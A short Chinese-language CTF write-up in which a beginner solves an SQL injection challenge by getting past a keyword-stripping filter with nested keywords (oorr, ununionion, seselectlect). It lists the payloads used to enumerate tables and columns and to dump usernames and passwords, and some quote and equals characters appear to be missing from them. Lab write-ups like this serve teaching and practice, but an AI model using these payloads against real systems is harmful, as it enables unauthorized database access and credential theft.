个人声明本人纯小白对于专业词汇可能表达不清本文章仅展示个人思路如有雷同纯属巧合若有借鉴思路的会说明。若有错漏麻烦指正谢谢。题目来源CTF²https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?returnTo%2Fdashboard%2Fpractice%3Fview%3Dmytabchallengeschallenge30c90c3e-2227-4263-8218-9494728f4c38看到sql注入题目先试试万能密码查看报错信息感觉是将or关键字给删掉了尝试复写、大小写也不行那么就试试内嵌oorr输入1 oorr 11#登录成功说明内嵌有用可以从这个方面思考下一步测试发现union和select也被替换为空格了输入1 ununionion seselectlect 1,2,database()#输入1 ununionion seselectlect 1,2,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whewherere table_schemadatabase())#输入1 ununionion seselectlect 1,2,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whewherere table_schemadatabase() aandnd table_nameb4bsql)#输入1 ununionion seselectlect 1,2,(selselectect group_concat(id,username,passwoorrd) frofromm b4bsql)#